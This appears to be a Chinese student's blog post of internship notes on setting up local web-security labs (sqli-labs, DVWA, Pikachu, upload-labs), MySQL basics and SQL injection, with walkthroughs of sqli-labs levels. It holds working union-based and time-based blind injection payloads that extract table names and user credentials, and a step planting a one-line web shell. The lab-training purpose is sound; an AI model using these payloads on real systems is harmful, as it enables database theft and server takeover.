• 粤嵌科技毕业实习Day9


    粤嵌科技毕业实习Day9

    环境搭建

    • Sqli-lab环境搭建

      Phpstudy的默认网站目录 D:phpStudyPHPTutorialWWW

      把压缩包sqli-labs-master拉到默认网站目录解压,将最里面的sqli-labs-master,重命名为sqli,转移回网站默认目录

      修改sqli里面的sql-connections,这个目录下的db-creds文件修改数据库的用户名和密码

      访问http://127.0.0.1/sqli/

    • DVWA环境搭建(默认账号密码admin、password)

      Phpstudy的默认网站目录 D:phpStudyPHPTutorialWWW

      把压缩包DVWA-master拉到默认网站目录解压,将最里面的DVWA-master,重命名为dvwa,转移回网站默认目录

      进入config目录下修改文件名config.inc.php.dist为config.inc.php;编辑里面的内容如下

      打开http://127.0.0.1/dvwa/setup.php

    • Pikachu环境搭建

      把压缩包pikachu-master拉到默认网站目录解压,将最里面的pikachu-master,重命名为pikachu,转移回网站默认目录

      打开浏览器,输入http://127.0.0.1/pikachu/

    • Upload-labs环境搭建

      把压缩包upload-labs-master拉到默认网站目录解压,将最里面的upload-labs-master,重命名为upload,转移回网站默认目录

      打开浏览器,输入http://127.0.0.1/upload/


    Mysql数据库

    • MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。

    • MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

    • MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。

    • 因其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。

    • 在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。

      • 在schemata表中,schema_name字段用来存储数据库名。
      • 在tables表中,table_schema和table_name分别用来存储数据库名和表名。
      • 在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
    • 语法

      # 1:使用SHOW语句找出在服务器上当前存在什么数据库:
      mysql> SHOW DATABASES;
      # 2:创建一个数据库MYSQLDATA
      mysql> CREATE DATABASE MYSQLDATA;
      # 3:选择你所创建的数据库
      mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!)
      # 4:查看现在的数据库中存在什么表
      mysql> SHOW TABLES;
      # 5:创建一个数据库表
      mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1)); 
      # 6.导入.sql文件命令(例如D:/mysql.sql)
      mysql>use database;
      mysql>source d:/mysql.sql;
      
      # 查删改添   
      SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2'
      INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
      UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
      DELETE FROM 表名称 WHERE 列名称 = 值
      
    • 常用函数

      1:system_user() 系统用户名
      2:user()        用户名
      3:current_user()  当前用户名
      4:session_user()连接数据库的用户名
      5:database()    数据库名
      6:version()     MYSQL数据库版本
      7:load_file()  	转成16进制或者是10进制 MYSQL读取本地文件的函数
      8:@@datadir     读取数据库路径
      9:@@basedir    MYSQL 安装路径
      10:@@version_compile_os   操作系统
      
    • Mysql注释及字符串连接函数

      • 注释

        --%20,%23, --+, -- -,/* */,/*!*/
        
      • 字符串连接函数

        1. concat(str1,str2,...)——没有分隔符地连接字符串
        2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
        3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
        
      • 符号与十六进制转换

        0x3a -->:
        0x2f -->/
        0x7c -->|
        

    Sql注入分类

    • 依据注入点类型分类

      • 数字类型的注入 SELECT 列 FROM 表 WHERE 数字型列=值
      • 字符串类型的注入 SELECT 列 FROM 表 WHERE 字符型列=‘值’
      • 搜索型注入 SELECT * FROM 表 WHERE 被搜索列 LIKE ‘%值%’
    • 依据提交方式分类

      • GET注入
      • POST注入
      • COOKIE注入
      • HTTP头注入(XFF注入、UA注入、REFERER注入)
    • 依据获取信息的方式分类

      • 联合查询注入
      • 基于布尔的盲注
      • 基于时间的盲注
      • 基于报错的注入
      • 堆查询注入 (可同时执行多条语句)
    1. 基于get型的联合查询注入

      # 1、利用order by 判断字段数。
      # 2、利用union select 联合查询,获取表名。
      0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
      # 3、利用union select 联合查询,获取字段名。
      0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
      # 4、利用union select 联合查询,获取字段值。
      0' union select 1,group_concat(username,0x3a,password),3 from users--+
      
      
    2. 基于post型的联合查询注入(抓包)

      # 1、利用order by 判断字段数。
      # 2、利用union select 联合查询,获取表名。
      0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
      # 3、利用union select 联合查询,获取字段名。
      0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
      # 4、利用union select 联合查询,获取字段值。
      0' union select 1,group_concat(username,0x3a,password),3 from users--+
      

    练习Less-1

    1、选择Less-1

    2、输入?id=1

    回显正常

    3、末尾加多一个单引号‘

    报错,语法错误

    4、可以在末尾添加%23注释掉后面的内容,使其不报错。

    5、用order by判断字段

    从1开始试,直到4回显不正常,说明有4个字段

    6、用union select 联合查询

    把id=0,从而显示后面内容

    从4开始,往前减。

    可以知道有3列

    7、用user()和database()替换上面的2和3,可以查询数据库信息。

    8、0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 获取表名

    9、0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ 获得字段名

    10、0' union select 1,group_concat(username,0x3a,password),3 from users--+ 获得字段值

    得到的便是账户密码


    盲注

    0、修改配置文件mysql.ini

    才能开始实验。

    Less7

    1、进入Less7

    2、把一句话木马插入到网站目录

    3、虽然显示语法错误,但是a.php已经被写进去了。

    4、用蚁剑连接一句话木马,进入服务器。

    Less-9时间盲注

    1、进入Less-9

    2、输入id

    可见id无论对错都是正常回显。

    3、使用 and if(length(database())=8,0,sleep(5)) 判断当前库名长度

    and if(length(database())=7,0,sleep(5)),加载完成时间是7.16

    and if(length(database())=8,0,sleep(5)),加载完成时间是2.16

    显然数据库长度为8.

    4、用ascii码结合网络延迟的方法猜库名

    and if(ascii(substr(database(),1,1))=114,0,sleep(5)),加载时间7.08

    and if(ascii(substr(database(),1,1))=115,0,sleep(5)),加载时间2.08

    Asci码=115,即首字符为s。

    继续第二个字符:and if(ascii(substr(database(),2,1))=101,0,sleep(15))

    Asci码=101,即次字符为e。

    重复以上操作,得到完整库名security。

    5、猜完库名猜表名。

    and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)))=101,0,sleep(5))

    无延迟,说明首字符是e。

    可以得到所有表名:emails,refers,uagents,users。

    6、知道表名后,就可以猜users表的字段。

    and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1)))=105,0,sleep(5))

    105=i,重复操作,可以得到所有字段:id,username,password

    7、最后再猜字段的内容,即账户密码。

    97=a,可以通过改变id的值,找到admin用户是在哪个id,然后再猜密码。

    and if((select ascii(substr((select username from users WHERE id=8),1,1)))=97,0,sleep(5))

    可见id=8时,首字符为a。

    再猜id=8的密码:and if((select ascii(substr((select password from users WHERE id=8),1,1)))=97,0,sleep(5))

    首字符还是a,重复操作,最终可以确定密码是admin。

    打开phpstudy的数据库可以确定是正确的。

    本文作者:AlubNoBug
    本文链接:https://www.cnblogs.com/AlubNoBug/p/13694018.html

  • 相关阅读:
    对宏的另外一些认识 及 assert.h的实现细节
    不要想太多
    线段树
    SQL基础 利用SELECT检索数据
    hidden表单值无法重置的缺陷
    oracle 数据库登陆
    基于ejb3,对JDBC进行封装,让使用JDBC时能像hibernate使用annotation注解一样简便,而且更加轻巧
    GoJS的一些使用技巧
    GoJS的学习使用
    灵活使用trim方法
  • 原文地址:https://www.cnblogs.com/AlubNoBug/p/13694018.html
Copyright © 2020-2023  润新知